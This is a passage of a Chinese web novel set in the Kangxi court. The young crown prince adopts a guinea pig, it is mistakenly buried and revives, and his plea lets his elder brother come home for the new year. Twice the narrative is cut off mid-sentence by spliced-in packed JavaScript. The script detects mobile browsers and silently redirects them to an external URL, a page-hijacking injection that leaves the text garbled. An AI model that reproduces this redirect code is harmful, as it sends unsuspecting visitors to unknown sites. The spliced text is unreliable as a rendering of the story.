太皇太后轻轻摇了摇头，语气平和：“这事皇帝自有主张，你急也没用。” 惠嫔听了，眼泪立刻滚了下来，用帕子不停抹着。 太皇太后见她这般模样，也心疼她这份慈母心，便软了语气：“罢了，改日哀家见到皇帝，会跟他提一提这事的。” 惠嫔脸上顿时阴转晴，连忙磕头谢恩，喜滋滋地退到一旁。 另一边，陈嬷嬷捧着个木匣子轻手轻脚走进来，恭声道：“太子爷，这是刚送到的，说是给您的。” “给我的？” 胤礽满脸疑惑。 谁会给自己送东西？ 他接过木匣打开一看，里头躺着一封信和一个糖人，糖人周身被半透明的米纸包着。 待瞥见信封上那歪歪扭扭的字迹，他顿时反应过来。 这居然是胤褆送来的！ “拿走丢了。”他想也不想就吩咐道。 可眼看着陈嬷嬷应声转身，胤礽却又忽然改了主意：“等等，拿回来。” 他倒要看看，胤褆这字写得跟狗爬似的，里头能写出什么名堂。 胤礽拆开信封，展开信纸。谁知第一行赫然写着： 宝澄妹妹…… 他心头那把刚压下去的火“噌”地又窜了上来，小手一用力，信纸瞬间被攥得皱成一团。 宝澄妹妹？ 保清这个白痴！竟然还敢这么叫他？ 18.第 18 章 胤礽当即就想把这张破纸给撕了，可目光扫到那道潦草却用力的划痕，还有后面规规矩矩写着的 “太子弟弟”四个字时，捏紧的指头又松了下去。 他嘴角仍不高兴地撇着，却还是把信读了下去。 太子弟弟： 昨天是哥哥的不好，你都和我说你是男孩子了，我还一直管你叫妹妹。对不起。 宫外可好玩了，我给你带了糖人，不知道你喜不喜欢。西市来了个会翻跟头的猴子，还会敲锣。等哪天我带你去看呀！ 树上的鸟雀下了5个蛋，都破壳了，会叽叽喳喳的叫，我把它们都养了起来。 胤礽把信纸往桌案上一放，伸手抓过胤褆带来的糖人。 琥珀色的糖衣在阳光下泛着光，咬一口甜得舌尖发颤。 “字写得真丑。” 胤礽啃着糖人，一边含糊不清地和小七抱怨。 糖人的甜味在舌尖化开，他忍不住眯起眼睛，又偷偷舔了一口。 小七在意识海里噗嗤一笑：【宝宝明明就很喜欢哥哥送的礼物嘛。】 明明看信的时候眼神软了半分，吃起糖人来更是半点没客气，偏偏嘴上还不承认。 它感慨完，赶紧悄悄把胤礽给屏蔽了，好在胤礽此刻正在专注吃糖人没有听到。 胤礽嚼着糖人，目光又落回信上那句 “树上的鸟雀下了 5 个蛋，都破壳了”，心里顿时不服气起来。 不就是几只叽叽喳喳的破鸟吗？有什么了不起的！他偏要养个更特别的，数量上还得压过保清才行。 这么想着，他猛地从软榻上滑下来，拽住陈嬷嬷的衣角，仰起脸就问：“嬷嬷，宫里哪儿能养小动物啊？孤也要养！” 陈嬷嬷笑眯眯的回：“宫里有御兽房，专门养着些奇珍异兽给主子们解闷呢。小主子这是想养什么了？” “孤还没想好。” 胤礽拧着细细的眉毛，认真琢磨着到底养什么才能赢得漂亮。 陈嬷嬷见他这么认真，便问：“那殿下现在可要去御兽房看看吗？” “不，先去钟粹宫吧。” 胤礽摇头。他还记得要去钟粹宫刷积分的事情。 胤礽在钟粹宫转悠了一圈，又是和荣娘娘说话，又是逗胤祉玩。 趁着宫女们上前伺候茶水的间隙，他悄悄缩到角落，在心里呼唤小七：“积分涨了多少呀？” 小七查了查进度条，语气带着几分无奈：【只涨了一点点呢，离目标还差好远好远。】 胤礽的小脸垮了垮，这积分涨得也太慢了，怎么比他之前刷的还要慢？ 从钟粹宫出来，陈嬷嬷抱着胤礽就往御兽房去。 这御兽房坐落在宫城西北角，是宫里专门伺候飞禽走兽的地儿。 宫人们调教着各色奇珍异兽，专供宫里的贵主儿们在闲暇时赏玩解闷。 朱红大门敞开着，远远就能听见里头传来的阵阵鸟鸣兽吠。 主管太监早得了消息，听说太子殿下想养宠物，赶紧捧着厚厚的册子迎上来。 他满脸堆笑地行礼：“给太子殿下请安。您瞧瞧，这都是咱们这儿最温顺可爱的，有西域进贡的狮猫，还有岭南来的会说话的鹦哥……” 册子上密密麻麻写着各类珍禽异兽的名目。胤礽随手翻了两页，便又兴致缺缺地合上册子，递了回去。 总管太监见他这般反应，心里直打鼓，小心翼翼地赔着笑：“这……不知殿下想养什么？奴才也好给您仔细寻摸。” “这些都不够好，”胤礽微微后退半步，仰起小脑袋，“有没有胖一点的？能生很多很多宝宝的那种？” 他暗下决心，一定要在数量上彻底压倒胤褆。 总管太监眼珠一转，试探着问：“殿下，您觉得兔子如何？兔子温顺，一窝能生好些个。” 胤礽立刻摇头：“孤不要兔子。” 他想起上次看见鸟雀啄兔子脑袋的场景，嫌弃地别过脸去，“兔子太弱了，连小鸟都敢欺负它们。” 总管太监这下可犯了难，太子爷想要“能生很多宝宝”，这选体型太大的怕伤着殿下，太小的又怕不合殿下心意。 胤礽有些失望：“就没有孤想要的小动物吗？” 正说着，恰巧见一个小太监捧着竹笼低头走过，胤礽的眼睛倏地亮了。 那笼子里窝着个圆滚滚的小家伙，棕白相间的皮毛蓬松柔软，粉嫩嫩的小鼻子一抽一抽，黑豆似的眼睛怯生生地望着外面。 “站住。” 胤礽迈着小短腿跑过去，指着笼子问："这是什么？" 总管忙上前解释："回殿下，这是外邦进贡的豚鼠。娘娘们嫌它胖墩墩的不够秀气，就一直搁在这儿了。" "胖乎乎的才可爱呢，"胤礽凑到笼边，看着豚鼠圆滚滚的身子，想伸手去摸又怕吓着它，小脸上写满了欢喜，"它一定很能生宝宝吧？" "能生能生！"主管见太子感兴趣，连忙点头哈腰，"这豚鼠一胎能生四五只呢，养得好了一年能生好几窝。" "现在就这一只吗？"胤礽扒着笼子，眼巴巴地问。 "原本有两只，另一只被二格格要去了，"主管回道，"就剩这一只了。" 听见这话，胤礽心里有些遗憾。要是有两只，就能一起作伴了。 他转念一想，这豚鼠比胤褆那些小鸟壮实多了，圆滚滚的身子一看就特别威风。 他当即拍板：“就要它了，名字就叫......圆滚滚！” 抱着新得的宠物，胤礽兴高采烈地回了宫。一进殿就催着小太监准备纸笔，迫不及待要写信向胤褆炫耀。 他趴在小桌上，握着小毛笔，一笔一划写得格外认真。 等保清知道孤养了这么可爱的豚鼠，肯定要后悔只养了那些小鸟！ 打那以后，胤礽走到哪儿都抱着圆滚滚。 用膳时还不忘给它在小碟子里放特制的东西吃，睡觉时要让它窝在枕边的锦垫里。 就连去慈宁宫给太皇太后请安，都要带着圆滚滚一起。 圆滚滚倒也乖巧，总是安安静静地待着，偶尔发出几声细弱的"吱吱"声，惹得太皇太后都忍不住多瞧几眼。 因着荣宪那里也养着一只豚鼠，胤礽往钟粹宫跑得更勤了，两人常常凑在一起比较谁的豚鼠更圆润。 只是苦了康熙，这几日想寻胤礽说说话，十次有八次都扑了个空。 这日，康熙特意赶在早朝后的空档，终于在乾清宫外的白玉阶下堵住了正要溜出去的小家伙。 "太子殿下这是又要往哪儿去？"康熙负手而立，故意板着脸。 胤礽赶紧规规矩矩地行礼："儿子给阿玛请安。" 康熙伸手想抱他，指尖刚触到他的衣角，就见一只毛茸茸的小脑袋从胤礽前襟探出来，黑溜溜的眼睛怯生生地望着自己。 康熙手一顿，伸手戳了戳豚鼠的肚子：“你就非得时时刻刻抱着它？” 胤礽把圆滚滚往怀里护了护，一本正经地辩解：“儿子既然养了它，就得对它负责呀！阿玛您瞧，它多可爱，摸起来可软了。” 说着就把圆滚滚举到康熙面前，想让他摸摸。 康熙瞧着这只胖豚鼠，实在欣赏不来。偏偏这胖豚鼠还“吱吱”叫了两声，往胤礽手心缩了缩。 康熙训他：“你是大清的太子，整日抱着个豚鼠成何体统。” “儿子没有时时刻刻抱！” 胤礽噘着嘴反驳，“吃饭的时候就不抱，把它放在旁边的小垫子上。” “而且，见阿玛的时候，儿子也不抱的。”他强调着。 康熙挑眉：“那现在在朕面前的是......？” 胤礽小声吐槽：“那是因为您把儿子给截了下来，不然早就......” 康熙似笑非笑：“不然什么？太子爷这话说得太轻了，朕没听清。” 胤礽赶紧摇头：“没什么。” 开玩笑，他才不想被阿玛扣下来呢。他还等着去和二姐姐的豚鼠比较谁更圆润呢。 “阿玛，您还有什么事儿吗？没事，儿子就先告退了。”小家伙说着就要溜。 “慢着！” 眼看着胤礽又要走，康熙忽然灵光一闪，想出了个绝妙的主意。 胤礽回头，困惑道：“阿玛?” "今日的功课可完成了？" "写完啦！"胤礽立刻挺直腰板，小脸上写满得意，"儿子昨天就写完啦，还多写了两张大字呢！" "哦？"康熙眼底掠过一丝笑意，"既然这般勤勉，那就再去写三张。" 胤礽：“啊？” 明明都超额完成功课了，怎么还要写？ “啊什么？多习字是好事。朕的御笔墨宝，旁人想求都求不到呢。如今多让你写几张，你倒还不情愿？” 胤礽在心里偷偷吐了吐舌头。求之不得？阿玛那些手稿，在他这儿都多到能开纸铺了，昨儿个他还团了两张给圆滚滚垫窝呢。 可他不敢反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609040|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只能委委屈屈地应下。 胤礽慢吞吞地转身，刚走两步，就被康熙叫住。 “等等，” 康熙伸手，“把豚鼠给朕，你再去写。” 胤礽：“......” 写字是假，想把圆滚滚扣下才是真的。 他恋恋不舍地把圆滚滚递给康熙，小手在那软毛上摸了摸。 胤礽小声叮嘱：“阿玛你要好好对它，别欺负它，我一会儿就来接它。” 圆滚滚像是听懂了，用小脑袋蹭了蹭胤礽的手心。胤礽看着它，一步三回头地往东暖阁走。 康熙看着这一人一鼠依依不舍的摸样，无奈摆手：“行了行了，朕不会欺负你的圆滚滚的。快点去吧。” 等那小身影消失在宫门处，康熙立刻拎起豚鼠打量。 “这胖东西有什么好的，也值得太子这般惦记？” 旁边的梁九功连忙赔笑：“太子殿下仁善，对小动物都这么上心，足见其赤子之心。” “是啊，”康熙轻哼了一声：“上心到都不怎么来找朕了，眼里就只有这只胖东西。” 这......万岁爷这是吃醋了？对着一只豚鼠？ 梁九功眨眨眼，立即顺着话头说：“殿下不是不找万岁爷，他是体贴万岁爷日理万机，不忍心打扰您。” 这话正好说到康熙心坎里，他脸色缓和了些，挥挥手道：“赏，你这个月的月钱翻两倍。” 梁九功顿时乐开了花，暗自琢磨着以后可得多顺着皇上的心思说。 康熙抱着圆滚滚回到御书房，将它放在桌案旁的软垫上，便专心批阅起奏折来。 圆滚滚倒也乖巧，蜷成一团打起盹来，只有粉嫩的鼻子偶尔抽动两下。 梁九功见状，悄悄退出去为康熙换新茶。谁知就这么一炷香的功夫，等他端着茶盏回来时，见那软垫上空空如也。 豚鼠不见了！ “万岁爷！”梁九功声音发颤，“小主子的豚鼠……不见了！” 康熙闻声抬头，目光扫过空荡荡的垫子，眉头微蹙。 他强自镇定地放下朱笔：“慌什么？还不快找！把御书房给朕翻过来也要找到！” 梁九功赶忙带着宫人们在御书房里翻来覆去地找。柜底、书架、帷幔后都被找了个遍，却连一根鼠毛都没见着。 正乱着，就见胤礽举着刚写完的大字兴冲冲跑进来。他一进门就喊：“阿玛，我写完字了，圆滚滚呢？” 康熙心里一紧，赶紧上前拉住他，脸上挤出笑容：“阿玛让人给圆滚滚做了个新跑轮，让梁九功拿去试了。” “真的吗？” 胤礽眨着大眼睛。 阿玛什么时候这么喜欢圆滚滚了？ 他心里有点怀疑，又问：“那圆滚滚什么时候能回来？它不在，儿子夜里都睡不踏实。” 梁九功赶紧上前打圆场：“回殿下，工匠说还要再打磨打磨，约莫一两日就好。殿下再耐心等等。” 康熙生怕他继续追问，连忙牵起他的小手往外走：“你这几日没去慈宁宫，你乌库妈妈今早还念叨着想你呢。” 一听太皇太后想自己了，胤礽也暂时没再纠结圆滚滚的事情了，乖乖得和康熙走了。 康熙回头朝梁九功使了个眼色，示意他抓紧时间。 梁九功会意，待圣驾走远，立即带着宫人将乾清宫翻了个底朝天。直到暮色四合，才在角落的酒缸缝隙里找到那只豚鼠。 圆滚滚不知怎的卡在缝隙里，浑身沾着酒气，一动不动。 上前查探的小太监战战兢兢地回禀：“梁公公，这……好像没气儿了。” 看着宫人呈上来的四脚朝天的豚鼠，康熙只觉得额角直跳。 这胖豚鼠要是有个三长两短，保成还不得把乾清宫的屋顶给哭塌了？ 若是猫狗还好说，御兽房随时能寻个相似的顶上。可这外邦进贡的豚鼠，让他上哪儿去找第二只？ 梁九功突然想起什么，凑到康熙耳边小声说：“万岁爷，奴才记得二格格那儿也养着一只……” 康熙：“……” 他堂堂一个皇帝去找孩子要个宠物还要不要面子了？ 见康熙面露迟疑，深谙圣意的梁九功又道：“您这几日还未翻过荣嫔娘娘的牌子，若让娘娘去和二格格说，应该会容易些。” 康熙沉吟片刻，终于下定决心：“传旨，今晚翻钟粹宫的牌子。” 先不管面子不面子了，先把小祖宗哄住才是最要紧的。 19.第 19 章 钟粹宫里刚摆过膳，荣嫔正由宫女伺候着漱口，外头忽然传来一阵略显急促的脚步声，紧接着是太监清亮的通传声： “皇上驾到——” 荣嫔一怔，含在口中的茶水险些呛着。 这个时辰……皇上怎么会过来？莫不是要留宿？ 荣嫔心头掠过一丝不易察觉的期盼，又迅速压下。 她催着宫女赶紧收拾妥当，又特意挑了件素净的外衫披上，对着镜子理了理鬓角，这才快步迎到门口。 谁知康熙大步流星地进来，袍角带起一阵微凉的风，脸上却不见半分闲话温存的意思，眉宇间反而凝着些许不易察觉的焦躁。 他连坐都没坐定，目光在殿内快速扫了一圈，开口便问：“荣宪养的那只豚鼠，眼下在何处？” 荣嫔：“……？” 她一时没反应过来，怔在原地。 待听明白是太子爷的圆滚滚出了事，需要找个替身应急，荣嫔只觉得啼笑皆非。 方才那点旖旎心思瞬间烟消云散，心里空落落的，只剩下一片荒唐。 这算什么事儿？她暗自苦笑，大晚上的，皇上亲自跑来，竟是为了一只豚鼠。 虽是这么想，她却不敢怠慢，赶紧派贴身宫女去二格格的住处取来豚鼠。 趁着这空当，她小心翼翼地觑着康熙的神色，只见他负手立在殿中，指尖无意识地摩挲着玉扳指，目光望向殿外，显然心思早已不在此处。 没半盏茶的功夫，宫女就提着个竹编小笼回来了。笼子里，那只与荣宪平日里形影不离的豚鼠正不安地蠕动着鼻子。 康熙接过笼子仔细端详，又让人取来太子的那只，左右比对。 确认尺寸、毛色、甚至连公母都一般无二后，他紧蹙的眉头这才舒展开，满意地点点头：“很好。” 康熙这才像是终于想起了什么，转头对荣嫔道：“委屈荣宪了。朕回头让人再寻一只更好的来。” 说罢又例行公事般赏赐了些珠宝绸缎，算是弥补。 荣嫔垂首谢恩，送驾到宫门口，望着康熙匆匆离去的背影，她立在门前久久未动，最终只化作一声几不可闻的轻叹。 夜色渐浓，乾清宫的灯火却比平日更亮些。 康熙揣着那只从钟粹宫带回来的“赝品”，心里盘算着如何哄过儿子。 他只盼着这小东西能蒙混过关，让胤礽别再为那只死鼠伤心。 胤礽得了新的豚鼠，头两日倒是没察觉异常，每日照常喂食逗弄。这让康熙心里稍稍安定了下来，只道是孩子年纪小，好糊弄。 谁知到了第三日午后，胤礽蹲在笼子前，眉头渐渐拧了起来。 前两日他便觉得这圆滚滚比先前呆笨不少，喂它最爱的瓜子仁，它也只是嗅嗅，便懒洋洋地扭开头，一副兴致缺缺的模样。 “圆滚滚，你怎么不吃啦？这是你最爱的呀！”胤礽伸出小手指，轻轻戳着豚鼠柔软的背毛，声音里带着不解。 好不容易见它动了嘴，吃的却是旁边碟子里他顺手放进去的胡萝卜块。 胤礽盯着看了半晌，眼圈瞬间就红了。 “不对！” 他猛地站起身，小拳头攥得紧紧的，“这不是我的圆滚滚！” 带着哭腔的嗓音在殿内格外清晰，他一把推开笼子，眼泪像断了线的珠子往下掉， “它不吃胡萝卜的！我的圆滚滚只爱吃瓜子仁！阿玛骗人！这不是我的！” 小家伙哭得上气不接下气，伤心极了，任凭康熙怎么抱怎么哄都没用，铁了心非要见他原来的那只。 康熙被他哭得心烦意乱，又是心疼又是无奈，最后无法，只得妥协：“好好好，莫哭了。朕带你去看，带你去看便是。” 康熙牵着他，一路沉默地往钟粹宫后头一处僻静角落走去。 荣嫔想着那豚鼠毕竟是太子心爱之物，便在僻静处给它堆了个像模像样的小土坟。 坟前还立了块小木牌，用朱砂写着"圆滚滚之墓"，连名字都是照着胤礽之前随口叫的写的。 小太监战战兢兢地刨开那个小土堆，露出里面那个僵硬的小小身躯。 “圆滚滚……” 胤礽眼泪汪汪地看着，小嘴瘪着，伤心混合着恐惧，紧紧抓着康熙的龙袍下摆。 可下一秒，那原本一动不动的豚鼠，爪子忽然轻微地抽搐了一下。紧接着，竟晃晃悠悠地站了起来，茫然地晃了晃小脑袋，迷迷糊糊地去嗅旁边的新鲜草叶。 胤礽瞪大了眼睛，指着坟里的豚鼠喊：“阿玛！阿玛！它动了！它没死！” 原来圆滚滚并非是死了，而是之前在酒坛子里被残酒熏得醉死过去，被误认为一命呜呼。 这会儿在土里被埋了几天，酒劲过了，便又恢复了生气。 胤礽一下子破涕为笑，也顾不得脏，伸手就把还有些晕乎乎的圆滚滚抱在怀里，小脸在它柔软温暖的毛发上蹭了又蹭，满是失而复得的欢喜。 而那只从荣宪那儿抱来的替身，见着了兄弟也立刻精神起来，在笼子里吱吱叫着，亲热地凑过去挨挨蹭蹭。 看着两只毛茸茸的小东西挤在一起，胤礽忽然想起什么，仰起头，唤道："阿玛。" 康熙低头看他：“嗯？” “让哥哥回来吧。” ...... 消息传到惠嫔宫里时，她正坐在妆台前比对着两支新得的发簪。 正拿不定主意时，外头传来小太监急促的脚步声。 “主子，大喜！”小太监跪在帘外，声音里透着兴奋，“万岁爷准了大阿哥回宫过年！” “啪嗒”一声，惠嫔手里的玉簪掉在镜台上。 她猛地转过身，声音不自觉地发颤：“你说什么？万岁爷同意让保清过年回宫了？” 小太监连忙叩头：“千真万确！方才荣嫔主子还特意派人来传话，说这是她在万岁爷跟前亲耳听到的，特地来给主子报喜呢！” 惠嫔一下子站起身，快步走到窗边，望着宫墙外的方向，指尖紧紧攥着窗棂。 保清……她的保清，终于能回来过年了？这突如其来的喜讯让她又是惊喜又是忐忑，仿佛置身梦中。 不过短短几日，万岁爷怎么就改了主意？难道是太皇太后替自己说了话？ 正心绪纷乱地琢磨着，外头传来了荣嫔含笑的嗓音："姐姐可在屋里？" 惠嫔忙擦了擦眼角，深吸一口气，快步迎出去。 她一把拉住荣嫔的手就问：“妹妹，这消息是真的？保清真能回来？” 荣嫔看着她喜不自胜的样子，理解地笑了笑，反手握住她微凉的手，肯定地点头：“自然是真的。皇上金口玉言，岂会有假？” 她顿了顿，看着惠嫔的眼睛，语气温和却意有所指，"不过姐姐就没好奇，万岁爷为何特意让我来告诉你这事？" 惠嫔愣了愣，有些憨然地笑，试探着说：“难道是因为我最近总找妹妹嗑瓜子，皇上瞧着咱们亲近？” 荣嫔无奈地摇了摇头，拉着她在桌边坐下，给她斟了杯热茶，轻声细语： “姐姐该知道，太子殿下最近养了只豚鼠吧？这几日他常和荣宪一起逗豚鼠，亲近了不少。” 惠嫔点头，心里却掠过一丝酸涩。 她的保清在外头吃苦，太子却能娇养在深宫，连养个宠物都能闹出这么大动静，真是同人不同命。 可这念头刚起，她就暗自掐了自己手心一把，告诫自己莫要胡思乱想，儿子能回来才是顶顶要紧的。 荣嫔仿佛看穿她的心思，轻轻拍了拍她的手，把钟粹宫豚鼠“假死”、胤礽因此提议让大阿哥回宫的事细细说了一遍。 惠嫔听完，还是满脸疑惑：“可这和保清回宫有什么关系？总不能是太子殿下劝了皇上吧？” 这话刚说出口，她自己都觉得离谱，连忙摆了摆手。太子才多大年纪，怎会管这些事？ 荣嫔肯定的答道：“还真就是殿下说的。” 惠嫔彻底愣住了，张了张嘴，半晌没说出话来，只觉得这事透着股难以言喻的奇妙。 荣嫔想起太子说那话时清澈真诚的眼神，又忆起康熙让她来传话时那意味深长的态度，忍不住又握了握惠嫔的手。 “殿下看着两只豚鼠挨在一起，就说''鼠分离都会难受，人肯定也一样，所以让哥哥回来吧。''皇上听了，便准了。” 见惠嫔仍有些怔忡，似乎难以置信，她又轻声劝道：“我知道大阿哥是长子，身份不同。 妹妹今日多句嘴，只是希望，姐姐心里……千万别有别的想法。皇上让我来，这意思，姐姐还不明白吗？” 惠嫔脸上的疑惑渐渐散去，取而代之的是几分了然和复杂。 她尴尬地笑了笑，点了点头：“妹妹说的是，是我想多了。” 此刻她心头那点因儿子常年不在身边而生出的怨怼，不知不觉散了些，反倒对那个自己远远见过几面的小太子，生出了几分难言的好奇与一丝微弱的感激。 “殿下是个心思纯净的好孩子，”荣嫔叹道，“胤祉和荣宪都喜欢他得很。我想，大阿哥回来了，兄弟相见，也定会喜欢这个弟弟的。” 这话里，已是带了明显的安抚与结交之意。 惠嫔沉默片刻，终是郑重地点了点头，百感交集，千言万语最终只化作一句： “待保清回来后，我会让他好好谢谢殿下的。” 圆滚滚兄弟被留在了荣宪那里，康熙抱着胤礽往乾清宫走。刚走没几步，胤礽突然听见脑海里传来小七的声音： 【叮——宝宝主动开口维护兄弟情谊，积分到达阈值，现发放奖励：变异土豆种子。】 “咦？”胤礽打了一个激灵，整个人都从康熙怀里直起了身。 他眨了眨眼睛，心里又惊又喜。没想到自己只是顺着心意说了句话，竟有这般意外之喜。 变异土豆种子？听名字就很厉害！ 瞬间，保清在他心里的地位直线上升，俨然成了 “行走的积分机”。 他顿时归心似箭，扭着身子要下地：“阿玛，我们快些回去吧。” 胤礽此刻恨不得立刻飞回乾清宫，好好研究一下新得的宝贝。 康熙见他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623913|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上神采飞扬，与方才哭闹时判若两人，心下暗叹：这孩子一会儿风一会儿雨，情绪来得快去得也快，倒也真是有趣。 康熙本意是想抱着他慢慢走，享受这难得的父子独处时光，见胤礽小脸上写满急切，只好依了他，拐进了御花园旁一条僻静的近路。 谁知刚过一处月门拐角，就看见前面廊下围了几个人。 地上躺着个小太监，身上的衣服都被扯破了，脸上还有几道红印子，旁边几个年纪大的太监正举着棍子，眼看就要打下去。 那几人见了康熙，吓得 “噗通” 一声跪倒在地，呼啦啦地磕头：“奴才参见万岁爷！” 谁也没想到，这种私下惩罚人的腌臜事，竟然会被皇帝撞个正着。 胤礽从康熙怀里地探出头，好奇道：“阿玛，他们在做什么呀？”他指了指地上那个尤其凄惨的人。 康熙皱了皱眉，心中不悦。 宫里这种肮脏事多了去了，可胤礽还这么小，哪里该看这些？ 他拍了拍胤礽的背，将他的小脑袋轻轻按回自己肩头，轻声说：“没什么，奴才们不守规矩罢了。咱们走。” 梁九功见状，连忙厉声呵斥那几个太监：“还不快滚！别在这儿碍万岁爷和太子殿下的眼！” 那几个打人的太监如蒙大赦，连滚爬爬地就要退下。 谁知地上那鼻青脸肿的小太监却不知哪来的力气，挣扎着爬起来，朝着胤礽的方向磕了个响头。 “太子殿下！求您救救奴才！奴才要是错过了今日，就真的要被打死了！” 胤礽被他这突如其来的举动吓了一跳，觉得这人似乎有点眼熟，却又想不起在哪儿见过。 康熙眉头更紧，声音沉了下去：“放肆。” 梁九功心领神会，正要叫人将这不知死活的小太监拖走，胤礽却忽然转过头，扯了扯康熙的衣襟。 他小声道：“阿玛，等等……我好像认得他。” 梁九功在一旁小声提醒：“太子殿下，这是之前您让去种土豆的那个小太监，叫高三变。” 胤礽这才恍然想起，似乎是有这么回事。 他见这小太监实在可怜，歪着头问：“高三变，他们为何打你呀？” 那几个行凶的太监面如死灰，抖得一句话也说不出来。 康熙的目光淡淡扫过他们，最后落在高三变身上，眼神里带着几分审视。 高三变趴在地上，感受到头顶那道冰冷的目光，吓得肝胆俱裂。 他哪里敢说，说正是因为得了太子一点微不足道的青眼，去负责那莫名其妙的土豆差事，才遭了这些人的嫉恨与排挤，引来了这场无妄之灾。 要是说了这话，等太子一走，他肯定活不到明天。但若什么都不说，怕是现在就会被活活打死。 心思电转间，高三变心一横，颤声回道：“回、回太子爷，奴才……奴才之前在墙角发现一窝被雨水打湿了巢的雏鸟，便、便用个破筐给它们做了个临时的窝，每日偷偷省下几粒自己的口粮喂它们。 不知怎的被李公公发现了，就说奴才偷窃宫中之物，行鬼祟之事，败坏宫规，故此……故此责打奴才。” 胤礽听呆了。在他小小的认知里，救小鸟分明是好事呀，是应该被夸奖的，他们怎么能因为这个打人呢？ 他扯了扯康熙的衣袖，求情：“阿玛，他救了小鸟！他是好人！您别让他们打他……” 康熙垂眸看着胤礽清澈的眼睛，再看向地上那个浑身是伤的小太监，心中微微一动。 他岂不知宫里这些底下人的手段？这太监所言未必是全貌，但太子既动了恻隐之心，他这做父亲的，也乐得成全。 皇帝沉吟片刻，对高三变道：“你，抬起头来。” 高三变吓得一哆嗦，勉强抬起头，露出那张青紫交加却难掩稚气的脸。 “梁九功。” “奴才在。” “太子仁厚，见不得这等事。既然太子为你求情，”康熙语气平淡，却带着不容置疑的威严，“就把他带回乾清宫，伤养好后，拨去做个粗使，伺候太子好了。至于这几个……” 他瞥了一眼那几个面无人色的太监，“自行去内务府领二十鞭子，罚俸三月。” “嗻！”梁九功连忙应下。 高三变几乎不敢相信自己的耳朵，死里逃生的巨大喜悦冲击着他，让他瞬间热泪盈眶，拼命磕头，语无伦次： “谢皇上恩典！谢太子殿下恩典！谢太子殿下……” 梁九功见皇帝抱着太子走远了，高三变还在不住地磕头，连忙拦下他：“行了行了，别磕了。留着力气养伤。” 他打量着这个既幸运又机灵的小太监，语气缓和了些，“算你命大，遇上了太子爷心慈。以后就跟着咱家好好学规矩，往后用心当差，好好伺候殿下，知道吗？” “是，梁公公！”高三变语气坚定无比。 他挣扎着爬起来，望着太子远去的方向，那个小小的身影在他眼中无比高大。 高三变在心里暗暗发誓：从今往后，他高三变这条命，就是太子爷的了。 20.第 20 章 自圆滚滚那桩趣事过后，时间过得飞快，转眼已是年末。 胤礽那日得了新的变异土豆种子，本来是想直接拿给康熙的，可念头刚起，脑海里就响起了小七声嘶力竭的劝阻： 【宝宝，不能给！不能给啊！这种子凭空冒出来，皇帝要是问起出处，你怎么说？难道告诉他是天上掉下来的吗？】 胤礽被它哭嚎得没了脾气，觉得这话在理，只好悻悻地把那袋宝贝种子又塞回了储存空间深处。 唉，都怪积分攒得太慢。若是去皇庄前就能到手，哪还用得着现在这般藏藏掖掖的。 腊月的风愈发凛冽，寒气一日重过一日。 御书房里却暖意融融，银丝炭在鎏金火盆里噼啪作响。 胤礽窝在铺了厚厚锦缎的小软椅上，脚丫子悬空晃悠着，正专心在空间里翻看小七给的新东西。 “殿下，您瞧，外头落雪了。”贴身太监高三变说道。 高三变经过梁九功一段时间的调教，如今被康熙放到了胤礽身边伺候他。 胤礽猛地回神，扭头望向窗外，细碎的雪沫子打着旋儿飘落，渐渐变得密集。 “哇！真的哎！”胤礽雀跃道。 他扭过头，眼巴巴地望向书房里端坐于紫檀大案后的那道明黄身影。 康熙此刻正凝神提笔，在洒金红纸上挥毫运墨。 胤礽耐着性子等了半晌，见康熙还没有停笔歇息的意思，终于忍不住蹭到康熙脚边。 他拽了拽康熙的龙袍下摆，仰起脸问：“阿玛，您还没写完吗？” 康熙头也不抬，笔尖在纸上顿了顿，墨痕晕开一小团：“这才写到哪儿？刚写第三个福字。” 胤礽小脸顿时垮了，瞅着案角那厚厚一沓待写的红纸，难以置信：“阿玛，这些……全都得写完吗？” “嗯。”康熙简短地应了一声，手下不停。 眼角余光瞥见胤礽耷拉的肩膀，他心下一软，放下笔将人抱到膝上，“怎么，咱们太子爷是想出去玩雪了？” 胤礽的眼睛瞬间亮了，却又懂事地摇摇头。 他是很想出去玩，但是......一想到要把阿玛一个人孤零零得丢在书房里，他又有些不舍得。 小太子扒着桌沿，自告奋勇：“阿玛，保成来帮你一起写。” 康熙眉梢微挑，打量着胤礽肉乎乎的小手，有些怀疑。 这孩子，握笔都还费劲呢，哪能写这么大的字？ 可看着胤礽满是期待的眼神，他又不忍打击儿子的积极性，拒绝的话在舌尖转了个圈，又咽了回去。 “好，”康熙笑着将毛笔递到那小手中，用自己的大手稳稳裹住，“那保成便与阿玛一同写。” 新春赐福的尺幅，对于年仅四岁的胤礽来说，还是太大了。 即便有康熙带着他一笔一划，但划出的笔画依旧歪歪扭扭，像条不听话的小蛇。 胤礽盯着最终成型的那个字，小脸皱成了一团，伸手就要把纸揉了。 “好丑啊！阿玛，这字太丑了，丢了吧。” 胤礽对自己的作品十分不满意，简直有损他太子爷的威名。 康熙却抢先一步把纸拿了起来，对着光看了看，眼底满是笑意：“丑吗？朕倒觉得挺好。这可是咱们保成人生中第一个福字，千金不换。” 说罢，也不等胤礽反驳，便扬声唤道：“梁九功。” “奴才在。”梁九功应声上前。 “去，把这个福字给朕贴到窗上去，让往来的人都瞧瞧，咱们大清的太子爷，今日可是开了笔，会写福字了！” 